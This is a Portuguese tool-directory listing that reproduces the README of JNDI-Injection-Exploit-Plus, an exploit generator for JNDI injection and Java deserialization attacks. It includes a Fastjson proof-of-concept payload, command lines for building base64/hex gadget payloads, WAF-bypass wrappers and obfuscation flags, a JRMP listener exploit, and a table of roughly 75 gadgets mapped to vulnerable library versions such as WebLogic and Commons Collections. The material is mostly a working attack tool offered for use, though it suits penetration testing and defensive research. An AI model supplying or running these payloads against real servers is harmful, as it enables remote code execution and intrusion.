Diretório de Ferramentas
Categorias
JNDI-Injection-Exploit-Plus — Gera links de injeção JNDI funcionais e payloads de desserialização com mais de 80 gadgets, suportando servidores RMI, LDAP e HTTP para testes automatizados de vulnerabilidades. | Kitploit
Ferramentas / GitHub / cckuailong / jndi-injection-exploit-plus
cckuailong/jndi-injection-exploit-plus JNDI-Injection-Exploit-Plus Gera links de injeção JNDI funcionais e payloads de desserialização com mais de 80 gadgets, suportando servidores RMI, LDAP e HTTP para testes automatizados de vulnerabilidades.
880 114 4 há 2 anosDescubra as ferramentas mais usadas pela nossa comunidade.
Últimos 7 Dias Últimos 30 Dias
JNDI-Injection-Exploit-Plus
中文 README
Descrição
O JNDI-Injection-Exploit-Plus é uma ferramenta para gerar links JNDI funcionais e fornecer serviços de fundo iniciando servidores RMI, LDAP e HTTP.
Usando esta ferramenta, você pode obter links JNDI e inseri-los em seu POC para testar vulnerabilidades.
Por exemplo, este é um Fastjson vul-poc:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}
Podemos substituir "rmi://127.0.0.1:1099/Object" pelo link gerado pelo JNDI-Injection-Exploit-Plus para testar a vulnerabilidade.
Além disso, você também pode usar o JNDI-Injection-Exploit-Plus para gerar payloads do tipo base64/hex como ysoserial
JNDI-Injection-Exploit é uma ótima ferramenta, esta é a versão plus dela.
O que há a mais
1. Mais Gadgets de Referência Remota JNDI: (total: 3)
2. Mais Gadgets de Referência Local JNDI: (total: 4) Payload autor dependências Tomcat 8+ ou SpringBoot @welk1n trustURLCodebase é false mas tem Tomcat 8+ ou SpringBoot 1.2.x+ no classpath Groovy (GroovyClassLoader) @cckuailong trustURLCodebase é false mas tem Tomcat e Groovy no classpath Groovy (GroovyShell) @cckuailong trustURLCodebase é false mas tem Tomcat e Groovy no classpath Websphere Readfile @cckuailong trustURLCodebase é false mas tem WebSphere v6-v9 no classpath
3. Gadgets de Desserialização (total: 75) P.S. Mais Gadgets (⬆️ ) que o ysoserial, sejam bem-vindos a enviar PR com mais! ^_^
payload autor dependências AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2 BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5 C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11 C3P0Tomcat @yulegeyu tomcat, com.mchange:c3p0:0.9.5.2, com.mchange:mchange-commons-java:0.2.11 Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0 Clojure @JackOfMostTrades clojure:1.8.0 Coherence1 ⬆️ @cckuailong coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 Coherence2 ⬆️ @cckuailong coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 Coherence3 ⬆️ @cckuailong coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 Coherence4 ⬆️ @cckuailong coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 Coherence5 ⬆️ @cckuailong coherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 Coherence6 ⬆️ @cckuailong coherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 CommonsBeanutils1 @frohoff commons-beanutils:1.9.2 CommonsBeanutils2 ⬆️ @cckuailong commons-beanutils:1.9.2 CommonsCollections1 @frohoff commons-collections:3.1 CommonsCollections1_1 ⬆️ @cckuailong commons-collections:3.1 CommonsCollections2 @frohoff commons-collections4:4.0 CommonsCollections2_1 ⬆️ @cckuailong commons-collections4:4.0 CommonsCollections3 @frohoff commons-collections:3.1 CommonsCollections3_1 ⬆️ @cckuailong commons-collections:3.1 CommonsCollections4 @frohoff commons-collections4:4.0 CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1 CommonsCollections5_1 ⬆️ @cckuailong commons-collections:3.1
4. Gerar e exportar payloads Você pode gerar os payloads de desserialização com saída do tipo Base64 ou HEX.
5. Wrapper Alguns Wrappers para encapsular os dados de desserialização.
Wrapper Exemplos de Vuls Xstream CVE-2021-39149 Apereo Apereo 4.1 Desserialização RCE JbossRemoting Jboss Remoting Port Unserialization Gzip Algumas interfaces yonyou usam Gzip Dirty Insere muitos dados sujos para contornar WAF
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream
6. Fusão Oculta o nome da classe para contornar WAF.
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -F
Serviço web para retornar Gadgets de Desserialização java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar
POST /deserial/{Gadget}
cmd={comando}&wrapper={wrapper}output={base64/hex}
P.S. Os parâmetros wrapper e output são opcionais.
Uso
Links JNDI $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [comando] [-A] [endereço]
-C - comando executado no classfile remoto.
(opcional, o comando padrão é "open /Applications/Calculator.app")
-A - o endereço do seu servidor, pode ser um IP ou um domínio.
(opcional, o endereço padrão é o primeiro endereço de interface de rede)
certifique-se de que as portas do seu servidor (1099 , 1389 , 8180 ) estão disponíveis.
ou você pode alterar a porta padrão na classe run.ServerStart.
seu comando é passado para Runtime.getRuntime().exec() como parâmetros,
então você precisa garantir que seu comando funcione no método exec().
Comandos em bash como "bash -c ...." precisam de aspas duplas.
Payloads de Desserialização $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [comando] [-D] [Gadget] [-O] [base64/hex]
-C - comando executado no classfile remoto.
(opcional, o comando padrão é "open /Applications/Calculator.app")
-D - O nome do payload do Gadget de desserialização.
-O - (Opcional) O tipo de saída da desserialização, o padrão é base64.
Exploits de Desserialização
JRMP java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <porta> CommonsCollections1 calc
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<porta>" -D "JRMPClient" -O base64
Exemplos
Links JNDI
Inicie a ferramenta assim:
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
Captura de tela:
Suponha que injetamos os links JNDI como rmi://ADDRESS/remoteExploit8 gerado no passo 1 em uma aplicação vulnerável que pode ser atacada por injeção JNDI.
Neste exemplo, fica assim:
class Test{
public static void main(String[] args) throws Exception{
InitialContext ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
}
}
então, quando executamos este código, o comando será executado,
e o log será impresso no shell:
Payloads de Desserialização $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
Resultado da saída Base64:
Instalação Podemos selecionar um dos dois métodos para obter o jar.
Baixe o último jar de Releases .
Clone o código fonte para local e compile (Requer Java 1.8+ e Maven 3.x+).
$ git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.git
$ cd JNDI-Injection-Exploit-Plus
$ mvn clean package -DskipTests
P.S . ‼️ Se você receber o erro "java.rmi.xxx does not exists", defina a variável de ambiente JAVA_HOME.
Aviso Legal Todas as informações e códigos são fornecidos exclusivamente para fins educacionais e/ou teste de seus próprios sistemas para essas vulnerabilidades.
CommonsCollections6 @matthias_kaiser commons-collections:3.1
CommonsCollections6_1 ⬆️ @cckuailong commons-collections:3.1
CommonsCollections6_2 ⬆️ @cckuailong commons-collections:3.1
CommonsCollections6_3 ⬆️ @cckuailong commons-collections:3.1
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
CommonsCollections7_1 ⬆️ @cckuailong commons-collections:3.1
CommonsCollections8 ⬆️ @cckuailong commons-collections4:4.0
CommonsCollections9 ⬆️ @cckuailong commons-collections:3.2.1
CommonsCollections10 ⬆️ @cckuailong commons-collections:3.2.1
CommonsCollections11 ⬆️ @cckuailong commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
Groovy1 @frohoff groovy:2.3.9
Jackson ⬆️ @y4er com.fasterxml.jackson.core:jackson-databind:2.14.2
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient2 ⬆️ @cckuailong
JRMPClient3 ⬆️ @cckuailong
JRMPClient4 ⬆️ @cckuailong
JRMPClient5 ⬆️ @cckuailong
JRMPClient6 ⬆️ @cckuailong
JSON1 @mbechler json-lib🫙jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
MozillaRhino2 @_tint0 js:1.7R2
ROME2 ⬆️ @firebasky rome:1.0
Scala1 ⬆️ @jarij org.scala-lang:scala-library:2.13.x
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
Spring3 ⬆️ @cckuailong spring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2
URLDNS @gebl apenas jre para detecção de vulnerabilidade
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
Weblogic1 ⬆️ @cckuailong weblogic:10.3.6.0, 12.1.3.0, 12.2.1.0
Weblogic2 ⬆️ @cckuailong weblogic:10.3.6.0, 12.1.3.0, 12.2.1.0
Weblogic3 ⬆️ @cckuailong com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager
Weblogic4 ⬆️ @cckuailong weblogic.common.internal.WLObjectOutputStream
Weblogic5 ⬆️ @cckuailong weblogic:12.2.1.4, coherence
Weblogic6 ⬆️ @cckuailong weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4
Weblogic7 ⬆️ @cckuailong weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4
Weblogic8 ⬆️ @cckuailong weblogic:12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic9 ⬆️ @cckuailong weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic10 ⬆️ @cckuailong weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic11 ⬆️ @cckuailong weblogic:12.2.1.3, 12.2.1.4, 14.1.1.0
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
WildFly1 ⬆️ @hugow org.wildfly:wildfly-connector:26.0.1.Final